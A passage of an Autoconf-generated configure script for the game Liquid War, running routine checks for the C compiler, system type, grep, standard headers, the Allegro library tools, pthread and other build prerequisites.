done else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "cannot compute suffix of object files: cannot compile See \`config.log' for more details" "$LINENO" 5; } fi rm -f conftest.$ac_cv_objext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_objext" >&5 $as_echo "$ac_cv_objext" >&6; } OBJEXT=$ac_cv_objext ac_objext=$OBJEXT { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using the GNU C compiler" >&5 $as_echo_n "checking whether we are using the GNU C compiler... " >&6; } if ${ac_cv_c_compiler_gnu+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { #ifndef __GNUC__ choke me #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_compiler_gnu=yes else ac_compiler_gnu=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ac_cv_c_compiler_gnu=$ac_compiler_gnu fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu" >&5 $as_echo "$ac_cv_c_compiler_gnu" >&6; } if test $ac_compiler_gnu = yes; then GCC=yes else GCC= fi ac_test_CFLAGS=${CFLAGS+set} ac_save_CFLAGS=$CFLAGS { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $CC accepts -g" >&5 $as_echo_n "checking whether $CC accepts -g... " >&6; } if ${ac_cv_prog_cc_g+:} false; then : $as_echo_n "(cached) " >&6 else ac_save_c_werror_flag=$ac_c_werror_flag ac_c_werror_flag=yes ac_cv_prog_cc_g=no CFLAGS="-g" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_g=yes else CFLAGS="" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : else ac_c_werror_flag=$ac_save_c_werror_flag CFLAGS="-g" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_g=yes fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ac_c_werror_flag=$ac_save_c_werror_flag fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g" >&5 $as_echo "$ac_cv_prog_cc_g" >&6; } if test "$ac_test_CFLAGS" = set; then CFLAGS=$ac_save_CFLAGS elif test $ac_cv_prog_cc_g = yes; then if test "$GCC" = yes; then CFLAGS="-g -O2" else CFLAGS="-g" fi else if test "$GCC" = yes; then CFLAGS="-O2" else CFLAGS= fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $CC option to accept ISO C89" >&5 $as_echo_n "checking for $CC option to accept ISO C89... " >&6; } if ${ac_cv_prog_cc_c89+:} false; then : $as_echo_n "(cached) " >&6 else ac_cv_prog_cc_c89=no ac_save_CC=$CC cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include struct stat; /* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ struct buf { int x; }; FILE * (*rcsopen) (struct buf *, struct stat *, int); static char *e (p, i) char **p; int i; { return p[i]; } static char *f (char * (*g) (char **, int), char **p, ...) { char *s; va_list v; va_start (v,p); s = g (p, va_arg (v,int)); va_end (v); return s; } /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has function prototypes and stuff, but not '\xHH' hex character constants. These don't provoke an error unfortunately, instead are silently treated as 'x'. The following induces an error, until -std is added to get proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an array size at least. It's necessary to write '\x00'==0 to get something that's true only with -std. */ int osf4_cc_array ['\x00' == 0 ? 1 : -1]; /* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters inside strings and character constants. */ #define FOO(x) 'x' int xlc6_cc_array[FOO(a) == 'x' ? 1 : -1]; int test (int i, double x); struct s1 {int (*f) (int a);}; struct s2 {int (*f) (double a);}; int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); int argc; char **argv; int main () { return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; ; return 0; } _ACEOF for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std \ -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" do CC="$ac_save_CC $ac_arg" if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_c89=$ac_arg fi rm -f core conftest.err conftest.$ac_objext test "x$ac_cv_prog_cc_c89" != "xno" && break done rm -f conftest.$ac_ext CC=$ac_save_CC fi # AC_CACHE_VAL case "x$ac_cv_prog_cc_c89" in x) { $as_echo "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 $as_echo "none needed" >&6; } ;; xno) { $as_echo "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 $as_echo "unsupported" >&6; } ;; *) CC="$CC $ac_cv_prog_cc_c89" { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89" >&5 $as_echo "$ac_cv_prog_cc_c89" >&6; } ;; esac if test "x$ac_cv_prog_cc_c89" != xno; then : fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu ac_aux_dir= for ac_dir in "$srcdir" "$srcdir/.." "$srcdir/../.."; do if test -f "$ac_dir/install-sh"; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/install-sh -c" break elif test -f "$ac_dir/install.sh"; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/install.sh -c" break elif test -f "$ac_dir/shtool"; then ac_aux_dir=$ac_dir ac_install_sh="$ac_aux_dir/shtool install -c" break fi done if test -z "$ac_aux_dir"; then as_fn_error $? "cannot find install-sh, install.sh, or shtool in \"$srcdir\" \"$srcdir/..\" \"$srcdir/../..\"" "$LINENO" 5 fi # These three variables are undocumented and unsupported, # and are intended to be withdrawn in a future Autoconf release. # They can cause serious problems if a builder's source tree is in a directory # whose full name contains unusual characters. ac_config_guess="$SHELL $ac_aux_dir/config.guess" # Please don't use this var. ac_config_sub="$SHELL $ac_aux_dir/config.sub" # Please don't use this var. ac_configure="$SHELL $ac_aux_dir/configure" # Please don't use this var. # Make sure we can run config.sub. $SHELL "$ac_aux_dir/config.sub" sun4 >/dev/null 2>&1 || as_fn_error $? "cannot run $SHELL $ac_aux_dir/config.sub" "$LINENO" 5 { $as_echo "$as_me:${as_lineno-$LINENO}: checking build system type" >&5 $as_echo_n "checking build system type... " >&6; } if ${ac_cv_build+:} false; then : $as_echo_n "(cached) " >&6 else ac_build_alias=$build_alias test "x$ac_build_alias" = x && ac_build_alias=`$SHELL "$ac_aux_dir/config.guess"` test "x$ac_build_alias" = x && as_fn_error $? "cannot guess build type; you must specify one" "$LINENO" 5 ac_cv_build=`$SHELL "$ac_aux_dir/config.sub" $ac_build_alias` || as_fn_error $? "$SHELL $ac_aux_dir/config.sub $ac_build_alias failed" "$LINENO" 5 fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_build" >&5 $as_echo "$ac_cv_build" >&6; } case $ac_cv_build in *-*-*) ;; *) as_fn_error $? "invalid value of canonical build" "$LINENO" 5;; esac build=$ac_cv_build ac_save_IFS=$IFS; IFS='-' set x $ac_cv_build shift build_cpu=$1 build_vendor=$2 shift; shift # Remember, the first character of IFS is used to create $*, # except with old shells: build_os=$* IFS=$ac_save_IFS case $build_os in *\ *) build_os=`echo "$build_os" | sed 's/ /-/g'`;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking host system type" >&5 $as_echo_n "checking host system type... " >&6; } if ${ac_cv_host+:} false; then : $as_echo_n "(cached) " >&6 else if test "x$host_alias" = x; then ac_cv_host=$ac_cv_build else ac_cv_host=`$SHELL "$ac_aux_dir/config.sub" $host_alias` || as_fn_error $? "$SHELL $ac_aux_dir/config.sub $host_alias failed" "$LINENO" 5 fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_host" >&5 $as_echo "$ac_cv_host" >&6; } case $ac_cv_host in *-*-*) ;; *) as_fn_error $? "invalid value of canonical host" "$LINENO" 5;; esac host=$ac_cv_host ac_save_IFS=$IFS; IFS='-' set x $ac_cv_host shift host_cpu=$1 host_vendor=$2 shift; shift # Remember, the first character of IFS is used to create $*, # except with old shells: host_os=$* IFS=$ac_save_IFS case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac ac_fn_c_check_func "$LINENO" "snprintf" "ac_cv_func_snprintf" if test "x$ac_cv_func_snprintf" = xyes; then : SNPRINTF=yes else SNPRINTF=no fi # Extract the first word of "allegro-config", so it can be a program name with args. set dummy allegro-config; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_ALLEGRO_CONFIG+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$ALLEGRO_CONFIG"; then ac_cv_prog_ALLEGRO_CONFIG="$ALLEGRO_CONFIG" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ALLEGRO_CONFIG="yes" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS test -z "$ac_cv_prog_ALLEGRO_CONFIG" && ac_cv_prog_ALLEGRO_CONFIG="no" fi fi ALLEGRO_CONFIG=$ac_cv_prog_ALLEGRO_CONFIG if test -n "$ALLEGRO_CONFIG"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ALLEGRO_CONFIG" >&5 $as_echo "$ALLEGRO_CONFIG" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test $ALLEGRO_CONFIG != "yes"; then as_fn_error $? "Unable to find allegro-config - this tool is normally installed by Allegro and must be placed in a directory which is in your PATH. Allegro is a game programming library required by Liquid War. It is available on http://www.talula.demon.co.uk/allegro/. You need to install the complete Allegro developpement package to build Liquid War." "$LINENO" 5 fi; echo -n "checking for Allegro... " ALCFLAGS=`allegro-config --cflags 2>/dev/null` ALLIBS=`allegro-config --libs 2>/dev/null` ALVERSION=`allegro-config --version 2>/dev/null` ALDVERSION=`echo ALVERSION | awk 'BEGIN { FS = "."; } { printf "%d",($1 * 1000 + $2) * 1000 + $3;}'` if test -z "$ALVERSION" ; then as_fn_error $? "Allegro does not seem to be correctly installed - please reinstall it and keep in mind that you need the complete Allegro developpement package." "$LINENO" 5 fi if test $ALDVERSION -gt 4002000 ; then as_fn_error $? "An old version of Allegro ($ALVERSION) has been detected - please upgrade to 4.2.0 or better." "$LINENO" 5 else echo "found $ALVERSION". fi #AC_CHECK_HEADER(allegro.h,,[AC_MSG_ERROR(Missing some include file. Please reinstall Allegro.)]) #AC_CHECK_LIB(alleg,main,,[AC_MSG_ERROR(Compilation probe failed. Please check your Allegro installation.)]) # Extract the first word of "dat", so it can be a program name with args. set dummy dat; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_ALLEGRO_DAT+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$ALLEGRO_DAT"; then ac_cv_prog_ALLEGRO_DAT="$ALLEGRO_DAT" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ALLEGRO_DAT="yes" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS test -z "$ac_cv_prog_ALLEGRO_DAT" && ac_cv_prog_ALLEGRO_DAT="no" fi fi ALLEGRO_DAT=$ac_cv_prog_ALLEGRO_DAT if test -n "$ALLEGRO_DAT"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ALLEGRO_DAT" >&5 $as_echo "$ALLEGRO_DAT" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test $ALLEGRO_DAT != "yes"; then as_fn_error $? "Couldn't find the allegro datafile compiler - please install the complete Allegro package with all its developper tools. The end-user package is not enough to compile Liquid War." "$LINENO" 5 fi; #cat <&5 $as_echo_n "checking how to run the C preprocessor... " >&6; } # On Suns, sometimes $CPP names a directory. if test -n "$CPP" && test -d "$CPP"; then CPP= fi if test -z "$CPP"; then if ${ac_cv_prog_CPP+:} false; then : $as_echo_n "(cached) " >&6 else # Double quotes because CPP needs to be expanded for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" do ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : else # Broken: fails on valid input. continue fi rm -f conftest.err conftest.i conftest.$ac_ext # OK, works on sane cases. Now check whether nonexistent headers # can be detected and how. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : # Broken: success on invalid input. continue else # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.i conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.i conftest.err conftest.$ac_ext if $ac_preproc_ok; then : break fi done ac_cv_prog_CPP=$CPP fi CPP=$ac_cv_prog_CPP else ac_cv_prog_CPP=$CPP fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CPP" >&5 $as_echo "$CPP" >&6; } ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : else # Broken: fails on valid input. continue fi rm -f conftest.err conftest.i conftest.$ac_ext # OK, works on sane cases. Now check whether nonexistent headers # can be detected and how. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : # Broken: success on invalid input. continue else # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.i conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.i conftest.err conftest.$ac_ext if $ac_preproc_ok; then : else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details" "$LINENO" 5; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu { $as_echo "$as_me:${as_lineno-$LINENO}: checking for grep that handles long lines and -e" >&5 $as_echo_n "checking for grep that handles long lines and -e... " >&6; } if ${ac_cv_path_GREP+:} false; then : $as_echo_n "(cached) " >&6 else if test -z "$GREP"; then ac_path_GREP_found=false # Loop through the user's path and test for each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in grep ggrep; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_GREP="$as_dir/$ac_prog$ac_exec_ext" as_fn_executable_p "$ac_path_GREP" || continue # Check for GNU ac_path_GREP and select it if it is found. # Check for GNU $ac_path_GREP case `"$ac_path_GREP" --version 2>&1` in *GNU*) ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" "conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo 'GREP' >> "conftest.nl" "$ac_path_GREP" -e 'GREP$' -e '-(cannot match)-' < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_GREP_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_GREP_found && break 3 done done done IFS=$as_save_IFS if test -z "$ac_cv_path_GREP"; then as_fn_error $? "no acceptable grep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 fi else ac_cv_path_GREP=$GREP fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_GREP" >&5 $as_echo "$ac_cv_path_GREP" >&6; } GREP="$ac_cv_path_GREP" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for egrep" >&5 $as_echo_n "checking for egrep... " >&6; } if ${ac_cv_path_EGREP+:} false; then : $as_echo_n "(cached) " >&6 else if echo a | $GREP -E '(a|b)' >/dev/null 2>&1 then ac_cv_path_EGREP="$GREP -E" else if test -z "$EGREP"; then ac_path_EGREP_found=false # Loop through the user's path and test for each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in egrep; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_EGREP="$as_dir/$ac_prog$ac_exec_ext" as_fn_executable_p "$ac_path_EGREP" || continue # Check for GNU ac_path_EGREP and select it if it is found. # Check for GNU $ac_path_EGREP case `"$ac_path_EGREP" --version 2>&1` in *GNU*) ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" "conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo 'EGREP' >> "conftest.nl" "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_EGREP_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_EGREP_found && break 3 done done done IFS=$as_save_IFS if test -z "$ac_cv_path_EGREP"; then as_fn_error $? "no acceptable egrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 fi else ac_cv_path_EGREP=$EGREP fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP" >&5 $as_echo "$ac_cv_path_EGREP" >&6; } EGREP="$ac_cv_path_EGREP" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5 $as_echo_n "checking for ANSI C header files... " >&6; } if ${ac_cv_header_stdc+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include #include int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_header_stdc=yes else ac_cv_header_stdc=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_stdc = yes; then # SunOS 4.x string.h does not declare mem*, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "memchr" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "free" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. if test "$cross_compiling" = yes; then : : else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #if ((' ' & 0x0FF) == 0x020) # define ISLOWER(c) ('a' <= (c) && (c) <= 'z') # define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) #else # define ISLOWER(c) \ (('a' <= (c) && (c) <= 'i') \ || ('j' <= (c) && (c) <= 'r') \ || ('s' <= (c) && (c) <= 'z')) # define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) #endif #define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) int main () { int i; for (i = 0; i < 256; i++) if (XOR (islower (i), ISLOWER (i)) || toupper (i) != TOUPPER (i)) return 2; return 0; } _ACEOF if ac_fn_c_try_run "$LINENO"; then : else ac_cv_header_stdc=no fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5 $as_echo "$ac_cv_header_stdc" >&6; } if test $ac_cv_header_stdc = yes; then $as_echo "#define STDC_HEADERS 1" >>confdefs.h fi # On IRIX 5.3, sys/types and inttypes.h are conflicting. for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ inttypes.h stdint.h unistd.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default " if eval test \"x\$"$as_ac_Header"\" = x"yes"; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done ac_fn_c_check_header_mongrel "$LINENO" "arpa/inet.h" "ac_cv_header_arpa_inet_h" "$ac_includes_default" if test "x$ac_cv_header_arpa_inet_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "ctype.h" "ac_cv_header_ctype_h" "$ac_includes_default" if test "x$ac_cv_header_ctype_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "errno.h" "ac_cv_header_errno_h" "$ac_includes_default" if test "x$ac_cv_header_errno_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "fcntl.h" "ac_cv_header_fcntl_h" "$ac_includes_default" if test "x$ac_cv_header_fcntl_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "netinet/in.h" "ac_cv_header_netinet_in_h" "$ac_includes_default" if test "x$ac_cv_header_netinet_in_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "pthread.h" "ac_cv_header_pthread_h" "$ac_includes_default" if test "x$ac_cv_header_pthread_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "signal.h" "ac_cv_header_signal_h" "$ac_includes_default" if test "x$ac_cv_header_signal_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "stdio.h" "ac_cv_header_stdio_h" "$ac_includes_default" if test "x$ac_cv_header_stdio_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "stdlib.h" "ac_cv_header_stdlib_h" "$ac_includes_default" if test "x$ac_cv_header_stdlib_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "string.h" "ac_cv_header_string_h" "$ac_includes_default" if test "x$ac_cv_header_string_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "sys/socket.h" "ac_cv_header_sys_socket_h" "$ac_includes_default" if test "x$ac_cv_header_sys_socket_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "sys/time.h" "ac_cv_header_sys_time_h" "$ac_includes_default" if test "x$ac_cv_header_sys_time_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "sys/types.h" "ac_cv_header_sys_types_h" "$ac_includes_default" if test "x$ac_cv_header_sys_types_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "time.h" "ac_cv_header_time_h" "$ac_includes_default" if test "x$ac_cv_header_time_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi ac_fn_c_check_header_mongrel "$LINENO" "unistd.h" "ac_cv_header_unistd_h" "$ac_includes_default" if test "x$ac_cv_header_unistd_h" = xyes; then : else as_fn_error $? "Missing include file." "$LINENO" 5 fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_create in -lpthread" >&5 $as_echo_n "checking for pthread_create in -lpthread... " >&6; } if ${ac_cv_lib_pthread_pthread_create+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lpthread $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char pthread_create (); int main () { return pthread_create (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_pthread_pthread_create=yes else ac_cv_lib_pthread_pthread_create=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_create" >&5 $as_echo "$ac_cv_lib_pthread_pthread_create" >&6; } if test "x$ac_cv_lib_pthread_pthread_create" = xyes; then : PTHREAD="-lpthread" else PTHREAD="-pthread" fi # Extract the first word of "as", so it can be a program name with args. set dummy as; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_GNU_AS+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$GNU_AS"; then ac_cv_prog_GNU_AS="$GNU_AS" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_GNU_AS="yes" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS test -z "$ac_cv_prog_GNU_AS" && ac_cv_prog_GNU_AS="no" fi fi GNU_AS=$ac_cv_prog_GNU_AS if test -n "$GNU_AS"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $GNU_AS" >&5 $as_echo "$GNU_AS" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi # Extract the first word of "python", so it can be a program name with args. set dummy python; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_PYTHON+:} false; then : $as_echo_n "(cached) " >&6 else if test 